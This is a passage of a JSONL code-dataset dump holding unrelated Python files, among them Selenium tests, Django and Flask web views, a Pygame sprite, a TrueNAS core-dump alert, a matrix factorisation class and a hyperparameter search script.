parsed_input = parse_input(_input)\n\n numbers = []\n output = []\n for i in parsed_input:\n if i[0] == 1:\n numbers.append(i[1])\n elif i[0] == 2:\n if i[1] in numbers:\n numbers.remove(i[1])\n elif i[0] == 3:\n c = collections.Counter(numbers)\n if i[1] in c.values():\n n = collections.Counter(c.values())\n output.append(n[i[1]])\n else:\n output.append(0)\n\n return(output)\n\n\n_input = \"\"\"\n1 5\n1 6\n2 1\n3 2\n1 10\n1 10\n1 6\n2 5\n3 2\n\n\n\"\"\"\n# Nie wiem czy dobrze, zrozumiałam polecenie, ale pamiętam, że na zajęciach mówił Pan,\n# że funkcja ma pokazywać ile jest x-ów o liczbie zliczeń podanej dla operacji nr 3.\n# W tym przypadku dla drugiej z operacji nr 3 funkcja wyrzuca ile x-ów występuje 2 razy.\n# Mamy 2 razy liczbę 6 i 2 razy liczbę 10, dlatego poprawną odpowiedzią powinno być chyba [0, 2].\n\nif __name__ == '__main__':\n assert check_frequency(_input) == [0, 2]","sub_path":"lab_3/tasks/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"426682337","text":"import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\n\n\n@pytest.fixture\ndef driver(request):\n wd = webdriver.Chrome()\n request.addfinalizer(wd.quit)\n return wd\n\n\n\ndef test_task_7(driver):\n\n driver.get('http://localhost/litecart/admin/login.php')\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.NAME, 'username')))\n driver.find_element_by_name('username').send_keys('admin')\n driver.find_element_by_name('password').send_keys('admin')\n driver.find_element_by_name('login').click()\n\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, 'box-apps-menu')))\n\n side_menu_main_length = len(driver.find_elements_by_css_selector('#box-apps-menu > li > a'))\n\n for i in range(side_menu_main_length):\n current_element = driver.find_elements_by_css_selector('#box-apps-menu > li > a')[i]\n current_element.click()\n\n #check for header\n driver.find_element_by_css_selector('#content h1')\n\n submenu_length = len(driver.find_elements_by_css_selector('.docs > li > a'))\n\n if submenu_length != 0:\n for j in range(submenu_length):\n sub_elem = driver.find_elements_by_css_selector('.docs > li > a')[j]\n\n # check for header\n driver.find_element_by_css_selector('#content h1')\n sub_elem.click()\n\n\ndef test_task_8(driver):\n driver.get('http://localhost/litecart/en/')\n\n all_goods = driver.find_elements_by_css_selector('.product')\n\n for element in all_goods:\n stickers = element.find_elements_by_css_selector('div.sticker')\n assert len(stickers) == 1\n","sub_path":"finding_elements_lesson.py","file_name":"finding_elements_lesson.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"356891674","text":"from django.shortcuts import render,redirect\nimport bcrypt\nfrom .models import *\nfrom django.contrib import messages\n\ndef index(request):\n return render(request,\"login/indexlogin.html\")\ndef signup(request):\n return render(request,\"login/register.html\")\ndef registor(request):\n print(request.POST)\n errors = register.objects.basic_validator(request.POST)\n if len(errors)>0:\n for key, value in errors.items():\n messages.error(request,value)\n return redirect('/Signup')\n else:\n if request.method==\"POST\":\n if register.objects.filter(email=request.POST['email']):\n messages.error(request, \"email already exists.\")\n return redirect('/Signup')\n else:\n hash1 = bcrypt.hashpw(request.POST['password'].encode(), bcrypt.gensalt())\n one=register.objects.create(user_name=request.POST['user_name'],phone_number=request.POST['phone_number'],catergory=request.POST['catergory'],email=request.POST['email'],password=hash1)\n # print(one)\n request.session['id']=one.id\n return redirect('/homepage')\n\ndef loginaccount(request):\n if not register.objects.filter(email=request.POST['email']):\n messages.error(request, \"email no exist.\")\n return redirect('/')\n else:\n user = register.objects.get(email=request.POST['email'])\n if bcrypt.checkpw(request.POST['password'].encode(),user.password.encode()):\n request.session['id']=user.id\n return redirect('/homepage')\n else:\n messages.error(request, \"password failed.\")\n print(\"failed password\")\n return redirect('/')\n \ndef logout(request):\n try:\n del request.session['id']\n except:\n print(\"thgffghjknnbbg\")\n return redirect('/')\n\ndef homepage(request):\n user = register.objects.get(id=request.session['id'])\n print('-----------')\n print(user.teacher.count())\n context = {\n \"one\": user,\n # 'two': User.objects.get(id=comment_id)\n \"all_posts\": Posts.objects.all(),\n \"all_comments\": Comments.objects.all(),\n \"all_students\": register.objects.exclude(catergory=\"teacher\"),\n }\n print(user.__dict__)\n return render(request,\"login/Dashboard.html\", context)\n\ndef post(request):\n errors = Posts.objects.post_validator(request.POST)\n if len(errors)>0:\n for key, value in errors.items():\n messages.error(request,value)\n return redirect('/homepage')\n else:\n user=register.objects.get(id=request.session['id'])\n new_post= Posts.objects.create(teacher=user,main_post=request.POST['post'])\n # request.session['post.id']=new_post.id\n return redirect('/homepage')\n \n\ndef editaccount(request,id):\n context={\n \"user\": register.objects.get(id=request.session['id']),\n }\n return render(request,'login/editaccount.html', context)\n\ndef editmyaccount(request,id):\n errors = register.objects.account_validator(request.POST)\n if len(errors)>0:\n for key, value in errors.items():\n messages.error(request,value)\n return redirect('/edit/'+id)\n else:\n c = register.objects.get(id=id)\n c.user_name = request.POST['user_name']\n c.phone_number = request.POST['phone_number']\n c.email = request.POST['email']\n c.save()\n return redirect('/myaccount/'+id)\n\ndef viewmyaccount(request,id):\n context={\n \"acc\": register.objects.get(id=id),\n \"comments\": Comments.objects.filter(students= register.objects.get(id=id))\n # \"posts\": Posts.objects.filter(comments=comments)\n }\n return render(request,'login/myaccount.html', context)\ndef post_a_comment(request):\n post= Posts.objects.get(id=request.POST['hiddenpostid'])\n user=register.objects.get(id=request.session['id'])\n new_comment= Comments.objects.create(comment=request.POST['comment'],students=user,post=post)\n\n return redirect('/homepage')\ndef delete(request,id):\n del_post=Posts.objects.get(id=id)\n del_post.delete()\n return redirect('/homepage')\ndef rightanswer(request,id):\n comment= Comments.objects.get(id=id)\n comment.result = 'right'\n comment.save()\n right_student = register.objects.get(student=comment)\n print(right_student)\n right_student.score = right_student.score + 1\n right_student.save()\n return redirect('/homepage')\ndef viewthisacc(request,id, id2):\n new_note= Notes.objects.filter(student= register.objects.get(id=id2))\n print(new_note)\n context={\n \"main_acc\": register.objects.get(id= id),\n \"user\": register.objects.get(id=id2),\n \"comments\": Comments.objects.filter(students=register.objects.get(id=id2)),\n \"notes\": new_note,\n }\n return render(request,\"login/thisaccount.html\", context)\n\ndef wronganswer(request,id):\n comment= Comments.objects.get(id=id)\n comment.result = 'wrong'\n comment.save()\n return redirect('/homepage')\n\ndef notes(request,id, id2):\n teacher= register.objects.get(id=id)\n student= register.objects.get(id=id2)\n note= Notes.objects.create(student= student, teacher=teacher, notes=request.POST['notes'])\n # print(note.notes)\n\n return redirect('/viewthisacc/' +id +'/' + id2)\n\n# def editpost(request,id):\n# c = Posts.objects.get(id=id)\n# c.main_post = request.POST['main_post']\n# c.save()\n# return redirect('/homepage')","sub_path":"apps/login_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"547470621","text":"import pygame\n\nfrom object import *\n\nFLIP = 1\nNOT_FLIP = 0\nBUFFER = 6\n\n\nclass Koopa(Object):\n k_list = []\n\n def __init__(self, data):\n type, self.sub_type, id, x, y = data\n dx = -1.12\n dy = 0\n self.img_factor = 20\n self.actions = {}\n Object.__init__(self, x, y, dx, dy,\n 'koopa-images.txt',\n type, id, self.actions)\n Koopa.k_list.append(self)\n self.state = 'stand' # States = 'stand', 'death'\n self.walk_imgs = 2 # Num of imgs used in walking animation\n self.dir = 'l' # Dir = 'l' or 'r'\n self.h_dif = 7 * 2 # Dif in self.h between Koopa and Goomba.\n\n @staticmethod\n def move(game):\n for k in Koopa.k_list:\n if k.state == 'death':\n pass\n else:\n k.x += k.dx\n\n def flip_image(self, image):\n return pygame.transform.flip(image, FLIP, NOT_FLIP)\n\n @staticmethod\n def get_image(fps_count, mario_state, mario_win, k):\n if mario_state == 'death' or mario_win:\n return k.actions['stand0']\n elif k.state == 'death':\n return k.actions['stand0']\n else:\n key = k.state + str(fps_count / k.img_factor % k.walk_imgs)\n return k.actions[key]\n\n @staticmethod\n def draw(screen, fps_count, mario_state, mario_win):\n for k in Koopa.k_list:\n if k.state == 'death':\n pass\n else:\n if k.dir == 'r':\n screen.blit(\n k.flip_image(\n k.get_image(fps_count, mario_state, mario_win, k)),\n (k.x, k.y - k.h_dif))\n else:\n screen.blit(\n k.get_image(fps_count, mario_state, mario_win, k),\n (k.x, k.y - k.h_dif))\n","sub_path":"koopa.py","file_name":"koopa.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"573011264","text":"import re\n\nfrom datetime import timedelta\n\nfrom middlewared.alert.base import AlertClass, AlertCategory, AlertLevel, AlertSource, Alert, IntervalSchedule\nfrom middlewared.utils import run\n\n\nSKIP_REGEX = re.compile(r'Unit:\\s+containerd.service')\n\n\nclass CoreFilesArePresentAlertClass(AlertClass):\n category = AlertCategory.SYSTEM\n level = AlertLevel.WARNING\n title = \"Core Files Found in System Database\"\n text = (\"Core files for the following executables were found: %(corefiles)s. Please create a ticket at \"\n \"https://jira.ixsystems.com/ and attach the relevant core files along with a system debug. \"\n \"Once the core files have been archived and attached to the ticket, they may be removed \"\n \"by running the following command in shell: 'rm /var/db/system/cores/*'.\")\n\n products = (\"CORE\", \"SCALE\")\n\n\nclass CoreFilesArePresentAlertSource(AlertSource):\n dumps = {}\n dump_error_logged = []\n schedule = IntervalSchedule(timedelta(hours=6))\n\n products = (\"SCALE\",)\n\n async def check(self):\n corefiles = []\n for coredump in filter(lambda c: c[\"corefile\"] == \"present\", await self.middleware.call(\"system.coredumps\")):\n if coredump[\"exe\"] == \"/usr/sbin/syslog-ng\" or coredump[\"pid\"] in self.dump_error_logged:\n continue\n\n if coredump[\"pid\"] not in self.dumps:\n cp = await run(\n \"coredumpctl\", \"info\", str(coredump[\"pid\"]), check=False, encoding=\"utf-8\", errors=\"ignore\"\n )\n if cp.returncode:\n self.middleware.logger.debug(\n \"Unable to retrieve coredump information of %r process\", coredump[\"pid\"]\n )\n self.dump_error_logged.append(coredump[\"pid\"])\n continue\n\n self.dumps[coredump[\"pid\"]] = {\n **coredump,\n \"happened_in_container\": bool(SKIP_REGEX.findall(cp.stdout))\n }\n\n if self.dumps[coredump[\"pid\"]][\"happened_in_container\"]:\n # We don't want to raise an alert to user about a container which died for some reason\n continue\n\n corefiles.append(f\"{coredump['exe']} ({coredump['time']})\")\n\n if corefiles:\n return Alert(CoreFilesArePresentAlertClass, {\"corefiles\": ', '.join(corefiles)})\n","sub_path":"src/middlewared/middlewared/alert/source/cores.py","file_name":"cores.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"640079488","text":"import logging\nimport json\n\nfrom ddconnector.decoder import encode\n\n\nasync def getconfig(protocol, msg):\n \"\"\"\n 下发配置信息\n \"\"\"\n if 'isClient' in msg:\n logging.info(\"收到下发配置请求!guid: %s\", msg['guid'])\n request_message = {'cmd': 'get_config',\n 'request_id': msg['guid'],\n 'response_params': \n {'data': [json.loads(msg['data'])],\n 'message': '',\n 'success': True,\n 'totalCount': '0'},\n 'response_type': False,\n 'token_id': ''}\n request_message = encode(request_message)\n \n protocol.server.transports[msg['guid']].write(request_message)\n \n \n","sub_path":"ddconnector/processors/getconfig.py","file_name":"getconfig.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"331961983","text":"# time O(n)\n# space O(height)\nclass Solution(object):\n def sufficientSubset(self, root, limit):\n \"\"\"\n :type root: TreeNode\n :type limit: int\n :rtype: TreeNode\n \"\"\"\n return self.pathSum(root, limit, 0)\n \n def pathSum(self, root, limit, cur):\n if not root:\n return None\n cur += root.val\n if not root.left and not root.right:\n if cur >= limit:\n return root\n else:\n return None\n root.left = self.pathSum(root.left, limit, cur)\n root.right = self.pathSum(root.right, limit, cur)\n if not root.left and not root.right:\n return None\n else:\n return root\n\n\n\"\"\"\nGiven the root of a binary tree, consider all root to leaf paths: paths from the root to any leaf. (A leaf is a node with no children.)\n\nA node is insufficient if every such root to leaf path intersecting this node has sum strictly less than limit.\n\nDelete all insufficient nodes simultaneously, and return the root of the resulting binary tree.\n\n \n\nExample 1:\n\n\nInput: root = [1,2,3,4,-99,-99,7,8,9,-99,-99,12,13,-99,14], limit = 1\n\nOutput: [1,2,3,4,null,null,7,8,9,null,14]\nExample 2:\n\n\nInput: root = [5,4,8,11,null,17,4,7,1,null,null,5,3], limit = 22\n\nOutput: [5,4,8,11,null,17,4,7,null,null,null,5]\n \n\nExample 3:\n\n\nInput: root = [1,2,-3,-5,null,4,null], limit = -1\n\nOutput: [1,null,-3,4]\n \n\nNote:\n\nThe given tree will have between 1 and 5000 nodes.\n-10^5 <= node.val <= 10^5\n-10^9 <= limit <= 10^9\n\"\"\"\n","sub_path":"1080. Insufficient Nodes in Root to Leaf Paths.py","file_name":"1080. Insufficient Nodes in Root to Leaf Paths.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"590362029","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n__init__.py\n\n\n\nCommon python classes method not specific to a single project.\n\n\n\nI{Created by Andy Buecker on 2008-01-08.}\nI{Copyright (c) 2008 Zoogloo LLC. All rights reserved.}\n\"\"\"\n\n__version__ = '$Revision: 0 $'\n__author__ = '$Author: andy $'\n__date__ = '$Date: 2010-04-10 14:04 -0700 $'\n\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"53117121","text":"#!/usr/bin/env python3\n\nimport requests\nfrom requests.auth import HTTPBasicAuth\nfrom flask import Flask, request, jsonify\n\nNEXMO_API_KEY = ''\nNEXMO_API_SECRET = ''\n\napp = Flask(__name__)\n\ntemplate1 = '''\n\n \n Audit Event Types\n \n \n
\n \n \n
\n \n\n'''\n\ntemplate2 = '''\n\n \n Audit Events Listing\n \n \n \n \n {TABLE_ROWS}\n
Audit Event TypeDate/time of eventEvent sourceContext
\n \n\n'''\n\n\n@app.route(\"/\")\ndef root():\n r = requests.options('https://api.nexmo.com/beta/audit/events', auth=HTTPBasicAuth(NEXMO_API_KEY, NEXMO_API_SECRET))\n j = r.json()\n event_types = j['eventTypes']\n\n select_options = \"\"\n for evt_t in event_types:\n select_options = select_options + \"\"\n\n html = template1.format(SELECT_OPTIONS=select_options)\n return (html)\n\n@app.route(\"/events\")\ndef events():\n params = request.args\n EVT_TYPE = params['event_type']\n \n if EVT_TYPE == 'ALL':\n r = requests.get('https://api.nexmo.com/beta/audit/events', auth=HTTPBasicAuth(NEXMO_API_KEY, NEXMO_API_SECRET))\n else: \n r = requests.get('https://api.nexmo.com/beta/audit/events?event_type='+EVT_TYPE, auth=HTTPBasicAuth(NEXMO_API_KEY, NEXMO_API_SECRET))\n\n j = r.json()\n \n if '_embedded' in j:\n events = j['_embedded']['events']\n else:\n return (\"No Events Found\")\n\n table_rows = \"\"\n for evt in events:\n if 'context' in evt:\n event_context = str(evt['context'])\n else:\n event_context = 'None'\n table_rows = table_rows + \"\" + (evt['event_type'] + \"\" + evt['created_at'] + \"\" + evt['source'] + \"\" + event_context + \"\")\n \n html = template2.format(TABLE_ROWS=table_rows)\n return(html)\n \nif __name__ == '__main__':\n app.run(port=9000)\n","sub_path":"python/audit_events.py","file_name":"audit_events.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"53180775","text":"#%%\nfrom gensim.models.keyedvectors import KeyedVectors\nfrom tqdm import tqdm\n#%%\nw2v = KeyedVectors.load_word2vec_format(\"182/model.bin\", binary=True)\n#%%\nword_vecs = {}\nfor word in tqdm(w2v.vocab):\n vec = w2v[word]\n word = word.replace(\"::\", \"_\")\n word = word.split(\"_\")[0]\n word_vecs[word] = vec\n#%%\nwith open(\"ruwiki_300.txt\", \"wt\") as outfile:\n for word, vec in tqdm(word_vecs.items()):\n vec = \" \".join([str(i) for i in vec])\n wordvec = \" \".join([word, vec])\n outfile.write(wordvec + \"\\n\")","sub_path":"problem_B/drqa-baseline/scripts/reader/BinaryW2VToSpaceSepartor.py","file_name":"BinaryW2VToSpaceSepartor.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"40955961","text":"from django.core.serializers import serialize\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\n\nfrom alko_catalog.models import PriceCatalogItem, Item\n\n\ndef parse_orders(order_str):\n if not order_str:\n return ''\n\n order_map = {\n 1: 'number',\n 2: 'name',\n 3: 'price',\n 4: 'bottle_size',\n 5: 'price_per_alcohol',\n }\n\n orders = [int(i) for i in order_str.split('.') if abs(int(i)) in order_map]\n o_list = []\n for o in orders:\n parity = '' if 0 < o else '-'\n o_list.append('%s%s' % (parity, order_map[abs(o)]))\n return o_list\n\n\ndef index(request):\n order = parse_orders(request.GET.get('o'))\n items = get_items(request, order=order)\n data = serialize('json', items)\n return render(request, 'alko_catalog/index.jinja', {\n 'data': data,\n })\n\n\ndef ajax_items(request):\n order = parse_orders(request.GET.get('o'))\n items = get_items(request, order=order)\n data = serialize('json', items)\n return JsonResponse(data, safe=False)\n\n\ndef get_items(request, order=None):\n items = Item.objects.all()\n if order:\n items = items.order_by(*order)\n\n return items\n","sub_path":"alko_catalog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"313979928","text":"import json\nimport numpy as np\n\nimport dash_bootstrap_components as dbc\n\nfrom dash.dependencies import Input, Output\nfrom main import app\n\n\n@app.callback(\n [\n Output(\"hidden_data\", \"children\"),\n Output(\"btn_to_selection\", \"disabled\"),\n Output('available_message', 'children')\n ],\n [\n Input(\"switches_input\", \"value\"),\n ]\n)\ndef update_hidden_data(switches_value):\n if len(switches_value) > 1:\n data = dict()\n data['available'] = switches_value\n chosen_beers = np.random.choice(switches_value, 2, replace=False)\n data['start_left'] = int(chosen_beers[0])\n data['start_right'] = int(chosen_beers[1])\n return json.dumps(data), False, None\n else:\n message = dbc.Alert(\"A minimum of two beers must be selected.\", color=\"warning\")\n return None, True, message\n","sub_path":"callbacks/available.py","file_name":"available.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"553405186","text":"# -*- coding: utf-8 -*-\n\n# ======================================================================================================================\n# Copyright (©) 2015-2021 LCS - Laboratoire Catalyse et Spectrochimie, Caen, France. =\n# CeCILL-B FREE SOFTWARE LICENSE AGREEMENT - See full LICENSE agreement in the root directory =\n# ======================================================================================================================\n\"\"\"\nThis module implement the NNMF (Non Negative Matrix Factorization) class\n\"\"\"\n# TODO: create tests\n\n__all__ = ['NNMF']\n\n__dataset_methods__ = []\n\nimport numpy as np\nfrom numpy.linalg import norm\nfrom time import time\nfrom sys import stdout\n\nfrom traitlets import HasTraits\n\nfrom spectrochempy.core import info_\n\n\nclass NNMF(HasTraits):\n \"\"\"\n Performs a Non Negative Matrix Factorization of a |NDDataset|.\n\n Algorithm based on :\n C.-J. Lin. Projected gradient methods for non-negative matrix factorization.\n Neural Computation, 19(2007), 2756-2779.\n If you find this tool useful, please cite the above work.\n Author : Chih-Jen Lin, National Taiwan University\n Copyright (c) 2005-2008 Chih-Jen Lin\n All rights reserved.\n Python/numpy translation : Anthony Di Franco ;\n \"\"\"\n\n def __init__(self, X, Ci, Sti, **kwargs):\n \"\"\"\n Parameters\n ==========\n self.C, self.St = nnmf(X, Ci, Sti,**kwargs)\n C,St : output solution\n Ci,Sti : initial solution\n\n Other Parameters\n ================\n tol : float, optional\n Tolerance for a relative stopping condition.\n maxtime : float, optional\n Time limit.\n maxit : float\n Limit for iterations\n \"\"\"\n super().__init__()\n\n tol = kwargs.get('tol', 0.1)\n\n maxtime = kwargs.get('maxtime', 60)\n\n maxit = kwargs.get('maxit', 100)\n\n self.C = Ci.copy()\n self.C.name = 'Conc profile optimized by nnmf'\n self.C.history = ''\n\n self.St = Sti.copy()\n self.St.name = 'Spectral profile optimized by nnmf'\n self.St.history = ''\n\n self.C.data, self.St.data = self.nmf(X.data, Ci.data, Sti.data, tol,\n maxtime,\n maxit)\n\n @staticmethod\n def nmf(V, Winit, Hinit, tol, timelimit, maxiter):\n \"\"\"\n (W,H) = nmf(V,Winit,Hinit,tol,timelimit,maxiter)\n W,H : output solution\n Winit,Hinit : initial solution\n tol : tolerance for a relative stopping condition\n timelimit, maxiter : limit of time and iterations\n \"\"\"\n\n def nlssubprob(V, W, Hinit, tol, maxiter):\n \"\"\"\n H, grad : output solution and gradient\n iter : #iterations used\n V, W : constant matrices\n Hinit : initial solution\n tol : stopping tolerance\n maxiter : limit of iterations\n \"\"\"\n\n H = Hinit\n WtV = np.dot(W.T, V)\n WtW = np.dot(W.T, W)\n\n alpha = 1\n beta = 0.1\n\n for n_iter in range(1, maxiter + 1):\n grad = np.dot(WtW, H) - WtV\n if norm(grad * np.logical_or(grad < 0, H > 0)) < tol:\n break\n\n Hp = H\n\n # search step size\n for inner_iter in range(20):\n # gradient step\n Hn = H - alpha * grad\n # gradient step\n Hn *= Hn > 0\n d = Hn - H\n gradd = np.dot(grad.ravel(), d.ravel())\n dQd = np.dot(np.dot(WtW, d).ravel(), d.ravel())\n suff_decr = 0.99 * gradd + 0.5 * dQd < 0\n if inner_iter == 0:\n decr_alpha = not suff_decr\n Hp = H\n if decr_alpha:\n if suff_decr:\n H = Hn\n break\n else:\n alpha = alpha * beta\n else:\n if not suff_decr or (Hp == Hn).all():\n H = Hp\n break\n else:\n alpha = alpha / beta\n Hp = Hn\n\n if n_iter == maxiter:\n info_('Max iter in nlssubprob')\n\n return H, grad, n_iter\n\n W = Winit\n\n H = Hinit\n\n initt = time()\n\n gradW = np.dot(W, np.dot(H, H.T)) - np.dot(V, H.T)\n gradH = np.dot(np.dot(W.T, W), H) - np.dot(W.T, V)\n initgrad = norm(np.r_[gradW, gradH.T])\n info_('Init gradient norm {:.3f}'.format(initgrad))\n tolW = max(0.001, tol) * initgrad\n tolH = tolW\n\n for myiter in range(1, maxiter):\n # stopping condition\n projnorm = norm(np.r_[gradW[np.logical_or(gradW < 0, W > 0)],\n gradH[np.logical_or(gradH < 0, H > 0)]])\n\n if projnorm < tol * initgrad or time() - initt > timelimit:\n break\n\n (W, gradW, iterW) = nlssubprob(V.T, H.T, W.T, tolW, 10000)\n W = W.T\n gradW = gradW.T\n\n if iterW == 1:\n tolW = 0.1 * tolW\n\n (H, gradH, iterH) = nlssubprob(V, W, H, tolH, 10000)\n\n if iterH == 1:\n tolH = 0.1 * tolH\n\n if myiter % 10 == 0:\n stdout.write('.')\n\n info_(\n '\\nIter = {} Final proj-grad norm {:.3f}'.format(myiter,\n projnorm))\n return W, H\n","sub_path":"spectrochempy/core/analysis/nnmf.py","file_name":"nnmf.py","file_ext":"py","file_size_in_byte":5680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"646594320","text":"import os\nimport yaml\nimport shutil\nimport random\nimport argparse\nimport numpy as np\n\nfrom validate import validate\nfrom ptsemseg.utils import get_logger\nfrom tensorboardX import SummaryWriter\n\n\ndef setup_logging(name, cfg):\n # Define model Path\n model_path = os.path.join(\n 'runs',\n cfg['training']['loss']['name'],\n name,\n \"{}_{}_best_model.pkl\".format(\n cfg['model']['arch'],\n cfg['data']['dataset']))\n # Create argparser to send to validate()\n parser = argparse.ArgumentParser()\n # Pass model to load to the argparser\n parser.add_argument(\n \"--model_path\",\n nargs=\"?\",\n type=str,\n default=model_path,\n help=\"Path to the saved model\",\n )\n parser.add_argument(\n \"--name\",\n nargs=\"?\",\n type=str,\n default=name,\n help=\"argparse.SUPPRESS\"\n )\n parser.add_argument(\n \"config\",\n nargs=\"?\",\n type=str,\n default=config,\n help=\"path of configuration file to use\"\n )\n\n args = parser.parse_args()\n return args\n\n\ndef run_experiment(lr_exp, wd_exp):\n # Send input parameters to the cfg to be sent to train()\n wd = 10. ** - wd_exp\n cfg['training']['optimizer']['weight_decay'] = wd\n lr = 10. ** - lr_exp\n cfg['training']['optimizer']['lr'] = lr\n # Define name for directory to save experiment data under\n name = 'sp_' + str(sp_level) + '_lr_' + str(lr_exp) + '_wd_' + str(wd_exp)\n # Set up all datalogging that train() needs\n args = setup_logging(name, cfg)\n # Run the experiment\n iou_new, iou_old = validate(cfg, args)\n return iou_new\n\n\ndef searching(exp_min, exp_max, exp_const, lr=False, wd=False):\n # Flag to signal when line search is finished\n searching = True\n while searching:\n # Define which axis to search\n if lr:\n line = search_grid[exp_min:exp_max+1, exp_const]\n elif wd:\n line = search_grid[exp_const, exp_min:exp_max+1]\n print('line:', line)\n # If max iou is not at end of line, search complete\n if 0 < np.argmax(line) < len(line) - 1:\n exp_var = np.argmax(line) + exp_min\n searching = False\n continue\n # If max iou is at end of line, continue in that direction\n elif np.argmax(line) == 0:\n exp_min -= 1\n exp_var = exp_min\n elif np.argmax(line) == len(line) - 1:\n exp_max += 1\n exp_var = exp_max\n # More defining which line to search\n if lr:\n exp_1 = exp_var\n exp_2 = exp_const\n elif wd:\n exp_1 = exp_const\n exp_2 = exp_var\n print('sp: {}, lr: {}, wd: {}'.format(sp_level, exp_1, exp_2))\n # If experiment has not been run already, run it\n if search_grid[exp_1, exp_2] == np.inf:\n iou = run_experiment(lr_exp=exp_1, wd_exp=exp_2)\n search_grid[exp_1, exp_2] = iou\n # Save checkpoint in case it is needed\n np.save(chkpnt_path, search_grid)\n print('mean iou: {}'.format(search_grid[exp_1, exp_2]))\n else:\n print('mean iou: {}'.format(search_grid[exp_1, exp_2]))\n return exp_var\n\n\ndef find_best_exp(exp_var_init, exp_const, lr=False, wd=False):\n # Run experiments 1 above and below input variable\n exp_min = exp_var_init - 1\n exp_max = exp_var_init + 1\n # Define which axis to run experiments on\n for exp_var in range(exp_min, exp_max+1):\n if lr:\n exp_1 = exp_var\n exp_2 = exp_const\n elif wd:\n exp_1 = exp_const\n exp_2 = exp_var\n print('sp: {}, lr: {}, wd: {}'.format(sp_level, exp_1, exp_2))\n # If experiment has not been run already, run it\n if search_grid[exp_1, exp_2] == np.inf:\n iou = run_experiment(lr_exp=exp_1, wd_exp=exp_2)\n search_grid[exp_1, exp_2] = iou\n # Save checkpoint in case it is needed\n np.save(chkpnt_path, search_grid)\n print('mean iou: {}'.format(search_grid[exp_1, exp_2]))\n else:\n print('mean iou: {}'.format(search_grid[exp_1, exp_2]))\n # Search to see if max is in middle of these 3 experiments\n # (it probably isn't)\n lr_exp = searching(exp_min, exp_max, exp_const, lr, wd)\n return lr_exp\n\n\nif __name__ == \"__main__\":\n run_id = random.randint(1, 100000)\n configs = ['ce', 'macro', 'micro', 'ziou']\n sp_levels = [100, 1000, 10000, None]\n\n for config in configs:\n config = os.path.join('./configs', config + '_adam_alexnet.yml')\n\n with open(config) as fp:\n cfg = yaml.load(fp)\n\n for sp_level in sp_levels:\n # Log which experiment is happening\n if sp_level is None:\n print('Loss function: {}, Pixel level'.format(\n cfg['training']['loss']['name'])\n )\n else:\n print('Loss function: {}, Superpixel level: {}'.format(\n cfg['training']['loss']['name'], sp_level)\n )\n # Set current superpixel level\n cfg['training']['loss']['superpixels'] = sp_level\n # Set initial adam parameters\n lr_exp = 4\n lr = 10. ** - lr_exp\n if sp_level is not None:\n # The more superpixels, the less regularisation is needed\n wd_exp = int(8-np.log10(sp_level))\n wd = 10. ** - wd_exp\n else:\n wd_exp = 3\n wd = 10. ** - wd_exp\n # Initialise/load the search grid for cross validation\n search_grid = np.full((10, 10), np.inf)\n chkpnt_path = os.path.join(\n 'vals',\n cfg['training']['loss']['name'],\n 'cross_validation_checkpoint_{}_{}.npy'.format(\n cfg['training']['loss']['name'],\n sp_level\n )\n )\n if os.path.isfile(chkpnt_path):\n search_grid = np.load(chkpnt_path)\n # Define conditions that will eventially end the experiment\n neighbours = search_grid[lr_exp-1:lr_exp+2, wd_exp-1:wd_exp+2]\n unsampled_neighbours = (neighbours == np.inf).sum()\n # If any neighbours are inf and centre isn't max, keep going\n while (unsampled_neighbours > 0 or\n neighbours[1, 1] != np.max(neighbours)):\n # Learning rate line search\n lr_exp = find_best_exp(\n exp_var_init=lr_exp,\n exp_const=wd_exp,\n lr=True\n )\n # Current best learning rate\n lr = 10. ** - lr_exp\n cfg['training']['optimizer']['lr'] = lr\n # Update the while conditions\n neighbours = search_grid[lr_exp-1:lr_exp+2, wd_exp-1:wd_exp+2]\n unsampled_neighbours = (neighbours == np.inf).sum()\n print('neighbours:\\n', neighbours)\n print('unsampled neighbours:', unsampled_neighbours)\n # Weight decay line search\n wd_exp = find_best_exp(\n exp_var_init=wd_exp,\n exp_const=lr_exp,\n wd=True\n )\n # Current best weight decay\n wd = 10. ** - wd_exp\n cfg['training']['optimizer']['weight_decay'] = wd\n # Update the while conditions\n neighbours = search_grid[lr_exp-1:lr_exp+2, wd_exp-1:wd_exp+2]\n unsampled_neighbours = (neighbours == np.inf).sum()\n 